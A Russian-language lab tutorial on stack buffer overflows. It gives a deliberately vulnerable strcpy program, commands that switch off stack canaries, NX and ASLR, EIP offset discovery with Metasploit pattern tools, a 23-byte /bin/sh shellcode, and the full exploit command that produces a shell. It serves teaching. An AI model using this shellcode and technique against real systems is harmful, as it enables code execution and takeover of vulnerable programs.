Переполнение буфера стека происходит, когда программа записывает больше данных для стека, чем было выделено для буфера. Это приводит к перезаписыванию, возможно, важных избыточных данных в стеке и вызывает аварийное завершение или выполнение произвольного кода возможным перезаписыванием указателя команд и, следовательно, позволяет перенаправить выполнение потока программы. Я использую Evan's debugger для демонстрации переполнения буфера на Kali Linux. Уязвимый код Распространенная уязвимость переполнения буфера в программе сохраняет данные, вводимые пользователем в памяти без проверки размера указания точного размера данных, которые должны быть записаны в памяти. Зная этот факт, мы можем использовать простой пример кода уязвимости для стека на основе переполнения буфера. #include <stdio.h> #include <string.h> int main(int argc, char** argv) { char buffer[20]; strcpy(buffer, argv[1]); printf("%s\n",buffer); return 0; } Приведенный выше код сохраняет произвольный размер переменной ARGV в буфер 20 байт без проверки фактического размера ARGV. Если ARGV больше 20 байт, то это приведет к переполнению буфера. Взлом и отладка Мы почти взломали нашу программу. Перед тем как сделать это, мы должны заблокировать несколько встроенных защит переполнения буфера. Так как переполнение буфера теперь является старой формой эксплойта, у компиляторов и ОС теперь есть несколько защитных мер против них. Стек Canary Стек canary является случайным числом, размещенным в стеке сразу же перед указателем возврата стека. В случае переполнения буфера стека, значение canary будет перезаписано и программа сделает исключение. Стек canary может быть заблокирован во время компиляции путем компилирования с опцией -fno-stack-protector. root@kali:~# gcc vulnerable.c -o vulnerable -fno-stack-protector Предотвращение выполнения данных (NX/DEP) Переполнение буфера стека обычно использует возможность контролировать исполняемый поток путем выполнения пейлоада, который хранится в стеке программы. DEP просто блокирует разрешение на выполнение стека программы, изображая пейлоад невыполнимым и бесполезным. Это может быть заблокировано путем использования такой программы как execstack root@kali:~# execstack -s ./vulnerable DEP может быть обойден, с помощью таких техник как ret2libc attack или ROP Address Space Layout Randomization (ASLR) ASLR рандомизирует пространство памяти программы таким образом, чтобы перезаписывание адресной ссылки команд с фиксированным местоположением в памяти не являлось таким полезным, т.к. будет отличаться каждый раз, когда программа запускается и не будет указывать на то, что могло бы быть показано для пейлоад или ROP приспособления. ASLR может быть временно заблокировано, если ввести следующую команду root@kali:~# echo 0 > /proc/sys/kernel/randomize_va_space Теперь, когда вся защита переполнения буфера заблокирована, мы можем перейти к безопасному переполнению буфера стека в нашем коде во время использования отладчика, для проверки результатов. Если мы посылаем 200 байт, состоящие из 200 A, программа завершает свою работу и в отладчике мы видим, что EIP переписан с 0x41414141. Это происходит потому, что адрес возврата для основной функции, также хранится в стеке. После того, как память, выделенная в буфер, заканчивается, функция STRCPY начинает перезаписывать важные элементы, присутствующие в стеке, один из которых является адресом возврата основной функции. В связи с этим, после того, как основная функция завершает выполнение и возвращается, адрес, на который она возвращается, читается со стека и хранится в EIP, который в данном случае не является действительным адресом, но только 0x41414141 из-за нашего большого буфера. root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*200') Program crash due to buffer overflow EIP points to 0x41414141 Управление EIP Нам необходимо точно вычислить, сколько байт из наших 200 байт буфера перезаписывается EIP. У Metasploit framework есть два отличных инструмента для этого, это pattern_create и pattern_offset. Первый создает уникальный шаблон, для отправки его как буфера. Второй же используется, чтобы узнать смещение байтов, которые перезаписали EIP. root@kali:~# /usr/share/metasploit-framework/tools/pattern_create.rb 200 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag root@kali:~# edb --run ./vulnerable Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag EIP points to a location in the unique pattern Теперь мы можем использовать pattern_offset, чтобы найти местоположение 31624130 в сгенерированном шаблоне. Код: root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb 31624130 [*] Exact match at offset 32 Теперь нам нужно хорошее местоположение чтобы иметь адресную ссылку к EIP; предпочтительно, где мы сможем хранить выполнимый пейлоад. Отправляя выполненный пейлоад, мы можем вычислить локацию в стеке программы для нашего пейлоад. Код: root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*32 + "B"*4 + "C"*164') Это приведет к аварийному завершению программы и EIP, чтобы ссылаться на 0x42424242, который также является недоступным местом памяти. Однако, если мы взглянем поближе на стек, мы сможем увидеть, что C аккуратно выровнены начиная с 0xbffff990, и это будет отличной локацией для шелл-кода нашего пейлоад. Contents of stack after buffer overflow Шелл-код и Эксплуатация Мы можем захватить примитивный шелл-код, который выполняет /bin/bash, таким образом предоставляя нам оболочку с правами доступа пользователя, который запускает уязвимую программу. Я использую этот: ***************************************************** * Linux/x86 execve /bin/sh shellcode 23 bytes * ***************************************************** * Author: Hamza Megahed * ***************************************************** * Twitter: @Hamza_Mega * ***************************************************** * blog: hamza-mega[dot]blogspot[dot]com * ***************************************************** * E-mail: hamza[dot]megahed[at]gmail[dot]com * ***************************************************** xor %eax,%eax push %eax push $0x68732f2f push $0x6e69622f mov %esp,%ebx push %eax push %ebx mov %esp,%ecx mov $0xb,%al int $0x80 ******************************** #include <stdio.h> #include <string.h> char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } Главное помнить, что мы должны сохранять размер нашего буфера в пределах 200 байт, либо местоположения указателя стека изменится, и наш жестко запрограммированный адрес памяти для EIP будет указывать на несоответствующую память. Мы можем заполнить оставшееся место символами '\x90', которые обычно являются неэксплуатируемыми командами CPU. root@kali:~# edb --run ./vulnerable $(python -c 'print "A"*32 + "\x90\xf9\xff\xbf" +"\x90"*141 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"') Мы можем проверить окно вывода, чтобы подтвердить, что наш эксплойт работает, и у нас есть оболочка. Shell from buffer overflow exploit Мы успешно использовали нашу уязвимую программу.